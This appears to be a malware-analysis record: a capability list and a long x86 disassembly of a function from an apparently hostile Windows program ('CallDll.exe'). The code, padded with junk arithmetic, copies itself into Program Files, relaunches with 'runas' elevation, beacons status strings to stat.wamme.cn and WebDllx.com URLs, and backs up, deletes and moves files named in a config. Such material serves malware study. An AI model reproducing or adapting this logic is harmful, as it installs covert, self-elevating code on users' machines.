Function at 0x4022e0
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441cbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a8
call fcn.00427d10
mov eax, dword [0x455e64]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4510f8]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x93da7589
imul ecx
mov esi, ecx
add edx, ecx
imul esi, esi, 0xdf5
mov ecx, dword [0x4510fc]
imul ecx, ecx, 0x99e
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
add eax, 0x12d8
push 0
mov dword [str._r_____r____], eax
mov dword [ebp - 4], 0
call fcn.00427ccf
mov edx, dword [0x4510f8]
mov ecx, dword [0x45110c]
imul edx, edx, 0x1c5e
mov esi, eax
imul ecx, ecx, 0x999
mov eax, dword [0x451100]
imul eax, eax, 0xdda
sub edx, eax
mov eax, dword [0x451108]
imul eax, eax, 0x99e
add edx, ecx
sub edx, eax
add esp, 4
mov edi, 0x190
mov dword [0x4510f0], edx
call fcn.0043f232
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xdb4]
call fcn.00402230
mov ecx, dword [ebp - 0xdb4]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
mov edi, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4023e0
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023f3
mov ecx, dword [0x4510f4]
sub eax, edx
mov dword [ebp - 0xda8], eax
jne 0x402bec
mov ebx, dword [0x4510ec]
mov eax, 0xb3c422f
imul ecx
mov ecx, dword [0x4510f0]
sar edx, 8
imul ecx, ecx, 0x12d8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45110c]
push 0x451110
imul edx, edx, 0xdf4
sub eax, ecx
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0x444dd9
add eax, ebx
push str.rand
lea eax, [edx + eax + 0x26a4]
push str.aaaaa
mov dword [0x4510f8], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x114]
push edx
call fcn.00427cca
add esp, 4
test eax, eax
jle 0x402497
lea eax, [ebp - 0x114]
push eax
call fcn.00427cca
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov esi, edx
mov ecx, edx
and ecx, 0x80000001
jns 0x4024ad
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp ecx, 1
jne 0x4024f8
mov edx, dword [0x4510f4]
mov eax, dword [0x4510ec]
imul edx, edx, 0x16c9
mov ecx, dword [0x451100]
imul eax, eax, 0x999
imul ecx, ecx, 0x99e
sub eax, edx
add eax, dword [0x451108]
lea edx, [ecx + eax - 0xdda]
lea eax, [esi + 1]
mov dword [0x451100], edx
lea ecx, [esi - 1]
mov dword [ebp - 0xdac], eax
jmp 0x402551
mov ecx, dword [0x4510f0]
mov eax, 0xb3c422f
imul ecx
imul ecx, ecx, 0x12d8
sar edx, 8
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, ecx
mov ecx, dword [0x451104]
imul ecx, ecx, 0xdda
sub ebx, ecx
mov ecx, dword [0x4510ec]
mov eax, 0xd562ab81
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [esi + 2]
mov dword [0x451108], ebx
mov ecx, esi
mov dword [ebp - 0xdac], edx
cmp dword [ebp - 0xdac], edi
jl 0x402560
dec esi
mov dword [ebp - 0xdac], esi
mov edx, dword [str._r_____r____]
mov eax, 0xd95dd3
imul edx
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6a79dd7b
imul dword [0x4510f4]
sar edx, 0xa
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x4510f8]
mov eax, 0xd562ab81
imul esi
add edx, esi
sar edx, 0xb
mov eax, edx
shl ecx, 5
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451104]
lea ebx, [ecx + str.Installing]
push ebx
sub edi, eax
lea ecx, [ebp - 0x214]
lea eax, [edi + edx - 0x1c5e]
push str.C:Program_Files_s
push ecx
mov dword [0x4510ec], eax
call fcn.00427bea
add esp, 0xc
push 0
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [ebp - 0xdac]
shl eax, 5
add eax, str.Installing
push eax
push ebx
lea ecx, [ebp - 0x214]
push str.C:Program_Files_s_s.exe
push ecx
call fcn.00427bea
mov ecx, dword [0x4510fc]
mov eax, 0xd95dd3
imul ecx
mov ecx, dword [0x4510f0]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x93da7589
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xb
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x6a79dd7b
imul ecx
sar edx, 0xa
add edi, ecx
mov eax, edx
shr eax, 0x1f
add edi, esi
mov esi, dword [0x4510f8]
add eax, edx
lea ecx, [eax + edi + 0x99e]
mov eax, 0x93da7589
imul esi
mov edi, esi
add esp, 0x10
imul edi, edi, 0xdf5
mov dword [0x4510fc], ecx
mov dword [ebp - 0xdb0], 0
add edx, esi
imul ecx, ecx, 0x99e
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ecx
push 0x100
lea ecx, [ebp - 0x114]
push ecx
add eax, 0x12d8
push 0
mov dword [str._r_____r____], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x114]
push 0x8000
push edx
call fcn.00434548
mov esi, dword [0x4510f8]
mov edx, dword [0x45110c]
mov edi, eax
imul edx, edx, 0x999
mov eax, dword [0x451100]
imul eax, eax, 0xdda
mov ecx, esi
imul ecx, ecx, 0x1c5e
sub ecx, eax
mov eax, dword [0x451108]
imul eax, eax, 0x99e
add ecx, edx
sub ecx, eax
add esp, 0xc
cmp edi, 0xffffffff
mov dword [0x4510f0], ecx
je 0x402902
mov edx, dword [0x4510f4]
imul ecx, ecx, 0x12d8
mov esi, dword [0x4510ec]
mov eax, 0xb3c422f
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [0x45110c]
imul eax, eax, 0xdf4
sub edx, ecx
push 0x100000
add edx, esi
lea eax, [eax + edx + 0x26a4]
push 0x456de0
push edi
mov dword [0x4510f8], eax
call fcn.00433178
mov esi, eax
push edi
mov dword [ebp - 0xda8], esi
call fcn.00433937
add esp, 0x10
cmp esi, 0x2800
jle 0x4028f6
mov ecx, dword [0x4510f4]
mov edx, dword [0x4510ec]
imul ecx, ecx, 0x16c9
mov eax, dword [0x451100]
imul edx, edx, 0x999
mov esi, dword [0x451108]
imul eax, eax, 0x99e
sub edx, ecx
add edx, esi
lea ecx, [eax + edx - 0xdda]
push 0
mov dword [0x451100], ecx
call fcn.00427ccf
push eax
push 0x444d98
push 0x4570e0
call fcn.00427bea
push 0x180
lea edx, [ebp - 0x214]
push 0x8302
push edx
call fcn.00434548
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x4028f6
mov ecx, dword [0x4510f0]
mov eax, 0xb3c422f
imul ecx
imul ecx, ecx, 0x12d8
mov eax, dword [0x451104]
sar edx, 8
imul eax, eax, 0xdda
mov edi, edx
shr edi, 0x1f
add edi, edx
add edi, ecx
mov ecx, dword [0x4510ec]
sub edi, eax
mov eax, 0xd562ab81
imul ecx
add edx, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xda8]
push edx
sub edi, ecx
push 0x456de0
push esi
mov dword [0x451108], edi
call fcn.00430c43
push 2
push 0
push esi
call fcn.004309ca
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
mov ecx, dword [str._r_____r____]
mov eax, 0xd95dd3
imul ecx
mov ecx, dword [0x4510f4]
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x6a79dd7b
imul ecx
mov ecx, dword [0x4510f8]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, eax
mov eax, 0xd562ab81
imul ecx
add edx, ecx
mov ecx, dword [0x451104]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0xdac]
lea edx, [edi + ecx - 0x1c5e]
push eax
lea ecx, [ebp - 0xc14]
push ecx
push esi
mov dword [0x4510ec], edx
call fcn.00430c43
push esi
call fcn.00433937
add esp, 0x28
mov dword [ebp - 0xdb0], 1
mov esi, dword [0x4510f8]
mov ecx, dword [0x4510f0]
mov eax, 0x2095af9f
imul ecx
sar edx, 0xa
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x24234a77
imul ecx
sar edx, 0xa
add edi, edx
mov ecx, edx
mov edx, dword [0x451104]
imul edx, edx, 0x16c9
shr ecx, 0x1f
add ecx, edi
sub ecx, edx
mov eax, 0xd95dd3
imul dword [str._r_____r____]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
cmp dword [ebp - 0xdb0], 1
mov dword [0x4510f4], ecx
jne 0x402be4
mov eax, 0x93da7589
imul esi
mov ecx, esi
imul ecx, ecx, 0xdf5
add edx, esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov ecx, dword [0x4510fc]
imul ecx, ecx, 0x99e
sub eax, ecx
add eax, 0x12d8
lea edx, [ebp - 0x214]
push edx
mov dword [str._r_____r____], eax
lea eax, [ebp - 0x114]
push str._s__33201_
push eax
call fcn.00427bea
mov edx, dword [0x451100]
mov esi, dword [0x45110c]
imul edx, edx, 0xdda
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xdf8]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4510f8]
imul ecx, ecx, 0x1c5e
sub ecx, edx
mov edx, dword [0x451108]
mov eax, esi
imul edx, edx, 0x99e
imul esi, esi, 0xdf4
imul eax, eax, 0x999
add ecx, eax
mov edi, dword [0x4510ec]
sub ecx, edx
mov edx, dword [0x4510f4]
mov eax, 0xb3c422f
imul edx
mov dword [0x4510f0], ecx
imul ecx, ecx, 0x12d8
sar edx, 8
mov eax, edx
shr eax, 0x1f
add esp, 0xc
add eax, edx
sub eax, ecx
add eax, edi
lea ecx, [esi + eax + 0x26a4]
lea edx, [ebp - 0xe08]
push edx
lea eax, [ebp - 0xdf8]
push eax
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x4510f8], ecx
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [ebp - 0xdf8], 0x44
mov dword [ebp - 0xdcc], 1
mov word [ebp - 0xdc8], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402abe
mov edx, dword [0x4510f4]
mov eax, dword [0x4510ec]
imul edx, edx, 0x16c9
mov ecx, dword [0x451100]
imul eax, eax, 0x999
imul ecx, ecx, 0x99e
sub eax, edx
add eax, dword [0x451108]
lea edx, [ecx + eax - 0xdda]
push 0
mov dword [0x451100], edx
call fcn.00427baa
mov ecx, dword [0x4510f0]
mov eax, 0xb3c422f
imul ecx
imul ecx, ecx, 0x12d8
mov eax, dword [0x451104]
sar edx, 8
imul eax, eax, 0xdda
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x4510ec]
sub esi, eax
mov eax, 0xd562ab81
imul ecx
add edx, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push ebx
lea edx, [ebp - 0x214]
sub esi, ecx
push str.C:Program_Files_s
push edx
mov dword [0x451108], esi
call fcn.00427bea
add esp, 0xc
push 1
lea eax, [ebp - 0x214]
push eax
push 0
lea ecx, [ebp - 0x114]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x4034d5
mov ecx, dword [str._r_____r____]
mov eax, 0xd95dd3
imul ecx
mov ecx, dword [0x4510f4]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6a79dd7b
imul ecx
mov ecx, dword [0x4510f8]
sar edx, 0xa
mov edi, edx
add esi, edx
mov eax, 0xd562ab81
imul ecx
push 0
push 0
push 0
add edx, ecx
mov ecx, dword [0x451104]
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
sar edx, 0xb
push 0x454514
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
shr edi, 0x1f
push 0
add edi, esi
sub edi, eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
lea edx, [edi + ecx - 0x1c5e]
push 0x68
push eax
mov dword [0x4510ec], edx
call fcn.00439d37
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x4510f4]
jmp 0x402bf2
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402bf8
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x4510f8]
mov eax, 0xd95dd3
imul dword [str._r_____r____]
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x6a79dd7b
imul ecx
sar edx, 0xa
mov ecx, edx
add edi, edx
mov eax, 0xd562ab81
imul esi
add edx, esi
sar edx, 0xb
mov eax, edx
shr ecx, 0x1f
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451104]
add ecx, edi
sub ecx, eax
lea eax, [ecx + edx - 0x1c5e]
lea ecx, [ebp - 0xda4]
push ecx
push 0x101
mov dword [0x4510ec], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402c64
push 0
call fcn.00427baa
push 3
push 0x454510
push 0x413c
call fcn.004016f0
add esp, 0xc
test eax, eax
je 0x402ce2
mov ecx, dword [0x4510f0]
mov eax, 0xb3c422f
imul ecx
imul ecx, ecx, 0x12d8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x451104]
imul edx, edx, 0xdda
add esi, ecx
mov ecx, dword [0x4510ec]
sub esi, edx
mov eax, 0xd562ab81
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x454510]
cmp eax, 0xffffffff
mov dword [0x451108], esi
je 0x402cdb
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.00427baa
mov ecx, dword [0x4510f8]
mov edx, dword [0x451100]
imul ecx, ecx, 0x1c5e
mov eax, dword [0x45110c]
imul edx, edx, 0xdda
sub ecx, edx
imul eax, eax, 0x999
mov edx, dword [0x451108]
imul edx, edx, 0x99e
add ecx, eax
sub ecx, edx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x4510f0], ecx
call fcn.004279dd
add esp, 8
cmp eax, 0xffffffff
jne 0x402d4c
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004279dd
add esp, 8
cmp eax, 0xffffffff
je 0x402d4c
push 0xea60
call ebx
mov ecx, dword [0x4510f0]
mov eax, 0x2095af9f
imul ecx
sar edx, 0xa
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x24234a77
imul ecx
mov eax, dword [0x451104]
mov ecx, dword [str._r_____r____]
imul eax, eax, 0x16c9
sar edx, 0xa
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0xd95dd3
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x4510f4], edi
call fcn.004279dd
add esp, 8
cmp eax, 0xffffffff
je 0x403487
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004279dd
add esp, 8
cmp eax, 0xffffffff
je 0x403487
mov ecx, dword [0x4510fc]
mov eax, 0xd95dd3
imul ecx
mov ecx, dword [0x4510f0]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x93da7589
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xb
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x6a79dd7b
imul ecx
sar edx, 0xa
add edi, ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
mov esi, dword [0x4510f8]
lea ecx, [eax + edi + 0x99e]
mov eax, 0x93da7589
imul esi
mov edi, esi
imul edi, edi, 0xdf5
mov dword [0x4510fc], ecx
imul ecx, ecx, 0x99e
add edx, esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
push 0x444cf4
add edi, edx
add eax, edi
push 0x200
sub eax, ecx
lea ecx, [ebp - 0xa14]
push ecx
push 0x444dd9
push str.ConfigL0
add eax, 0x12d8
push str.GameType1
mov dword [str._r_____r____], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x444dd9
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403154
mov eax, dword [0x4510f8]
mov ecx, dword [0x451100]
imul eax, eax, 0x1c5e
mov edx, dword [0x45110c]
imul ecx, ecx, 0xdda
sub eax, ecx
imul edx, edx, 0x999
mov ecx, dword [0x451108]
imul ecx, ecx, 0x99e
add eax, edx
sub eax, ecx
lea edx, [ebp - 0xa14]
push edx
mov dword [0x4510f0], eax
lea eax, [ebp - 0x12b8]
push 0x12c
push eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403154
mov ecx, dword [0x4510f4]
mov eax, 0xb3c422f
imul ecx
mov eax, dword [0x45110c]
sar edx, 8
imul eax, eax, 0xdf4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4510f0]
imul edx, edx, 0x12d8
sub ecx, edx
add ecx, dword [0x4510ec]
mov edx, dword [ebp - 0x12b8]
lea ecx, [eax + ecx + 0x26a4]
mov eax, edx
mov dword [0x4510f8], ecx
lea esi, [eax + 1]
jmp 0x402f50
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402f50
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12ac]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x402f77
push str._s_s
jmp 0x402f7c
push 0x444ccc
push ecx
call fcn.00427bea
mov edx, dword [0x4510f4]
mov eax, dword [0x4510ec]
imul edx, edx, 0x16c9
mov ecx, dword [0x451100]
imul eax, eax, 0x999
imul ecx, ecx, 0x99e
sub eax, edx
add eax, dword [0x451108]
lea edx, [ecx + eax - 0xdda]
add esp, 0x10
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push str._s.bak
push ecx
mov dword [0x451100], edx
call fcn.00427bea
add esp, 0xc
push 0
lea edx, [ebp - 0x614]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x414]
push ecx
call esi
mov ecx, dword [0x4510f0]
mov eax, 0xb3c422f
imul ecx
imul ecx, ecx, 0x12d8
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x451104]
imul edx, edx, 0xdda
add edi, ecx
mov ecx, dword [0x4510ec]
sub edi, edx
mov eax, 0xd562ab81
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x414]
sub edi, eax
push 0
push ecx
mov dword [0x451108], edi
call fcn.004279dd
add esp, 8
cmp eax, 0xffffffff
je 0x4030cf
mov ecx, dword [str._r_____r____]
mov eax, 0xd95dd3
imul ecx
mov ecx, dword [0x4510f4]
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x6a79dd7b
imul ecx
mov ecx, dword [0x4510f8]
sar edx, 0xa
mov ebx, edx
add edi, edx
mov eax, 0xd562ab81
imul ecx
add edx, ecx
mov ecx, dword [0x451104]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
shr ebx, 0x1f
add eax, edx
add ebx, edi
sub ebx, eax
lea eax, [ebp - 0x614]
lea edx, [ebx + ecx - 0x1c5e]
push eax
mov dword [0x4510ec], edx
call esi
push 0
call fcn.00427baa
mov ecx, dword [0x4510f0]
mov eax, 0x2095af9f
imul ecx
sar edx, 0xa
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x24234a77
imul ecx
mov ecx, dword [0x451104]
imul ecx, ecx, 0x16c9
sar edx, 0xa
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0xd95dd3
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x614]
sub edi, eax
push edx
mov dword [0x4510f4], edi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x414]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403146
push 0x64
call ebx
mov ecx, dword [0x4510fc]
mov eax, 0xd95dd3
imul ecx
mov ecx, dword [0x4510f0]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x93da7589
imul ecx
add edx, ecx
sar edx, 0xb
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add edi, edx
mov eax, 0x6a79dd7b
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
lea edx, [eax + edi + 0x99e]
lea eax, [ebp - 0x814]
mov dword [0x4510fc], edx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4031b5
sub eax, esi
mov dword [ebp - 0xda8], eax
push 0
jne 0x4031cd
call fcn.00427baa
mov eax, 0xb3c422f
imul ecx
imul ecx, ecx, 0x12d8
mov eax, dword [0x451104]
sar edx, 8
imul eax, eax, 0xdda
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x4510ec]
sub esi, eax
mov eax, 0xd562ab81
imul ecx
add edx, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x814]
sub esi, ecx
push edx
mov dword [0x451108], esi
call fcn.004279dd
add esp, 8
cmp eax, 0xffffffff
jne 0x403313
mov ecx, dword [0x4510f4]
mov eax, 0xd95dd3
imul ecx
mov ecx, dword [0x4510fc]
sar edx, 4
imul ecx, ecx, 0xdf4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x451100]
push 0
mov eax, 0x6a79dd7b
imul ecx
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
sar edx, 0xa
push 0x454514
mov eax, edx
shr eax, 0x1f
push 0
add eax, edx
add esi, ecx
lea ecx, [eax + esi + 0xdda]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x45110c], ecx
call fcn.00439d37
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x4510f8]
mov eax, 0x93da7589
imul ecx
mov esi, ecx
add edx, ecx
imul esi, esi, 0xdf5
mov ecx, dword [0x4510fc]
imul ecx, ecx, 0x99e
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
add eax, 0x12d8
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], eax
call fcn.004279dd
add esp, 8
cmp eax, 0xffffffff
je 0x40330c
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004279dd
add esp, 8
cmp eax, 0xffffffff
jne 0x403313
push 0
call fcn.00427baa
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x403320
mov edx, dword [0x4510f8]
mov eax, dword [0x451100]
imul edx, edx, 0x1c5e
mov ecx, dword [0x45110c]
imul eax, eax, 0xdda
sub edx, eax
imul ecx, ecx, 0x999
mov eax, dword [0x451108]
imul eax, eax, 0x99e
add edx, ecx
sub edx, eax
push 0x132b600
mov dword [0x4510f0], edx
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov ecx, dword [0x4510fc]
mov eax, 0xd95dd3
imul ecx
mov ecx, dword [0x4510f0]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x93da7589
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xb
mov edi, edx
push 0
push 0
shr edi, 0x1f
add edi, edx
push 0
mov eax, 0x6a79dd7b
imul ecx
mov eax, dword [ebp + 8]
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x454514
add edi, ecx
sar edx, 0xa
push 0
mov ecx, edx
push 0
shr ecx, 0x1f
push 1
add ecx, edx
add edi, esi
add eax, 0x74
lea edx, [ecx + edi + 0x99e]
push 0x68
push eax
mov dword [0x4510fc], edx
call fcn.00439d37
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x4510f0]
mov eax, 0xb3c422f
imul ecx, ecx, 0x12d8
imul dword [0x4510f4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45110c]
imul edx, edx, 0xdf4
sub eax, ecx
add eax, dword [0x4510ec]
lea eax, [edx + eax + 0x26a4]
mov dword [0x4510f8], eax
xor esi, esi
mov ecx, dword [0x4510f4]
mov edx, dword [0x4510ec]
imul ecx, ecx, 0x16c9
mov eax, dword [0x451100]
imul edx, edx, 0x999
mov edi, dword [0x451108]
imul eax, eax, 0x99e
sub edx, ecx
add edx, edi
lea ecx, [eax + edx - 0xdda]
push 0x2710
mov dword [0x451100], ecx
call ebx
inc esi
jmp 0x403443
mov ecx, dword [0x4510f4]
mov esi, dword [0x4510ec]
mov eax, 0xb3c422f
imul ecx
mov ecx, dword [0x4510f0]
sar edx, 8
imul ecx, ecx, 0x12d8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45110c]
imul edx, edx, 0xdf4
sub eax, ecx
add eax, esi
lea eax, [edx + eax + 0x26a4]
push 0x493e0
mov dword [0x4510f8], eax
call ebx
push 0
call fcn.00427baa
mov eax, 0x4034d3
ret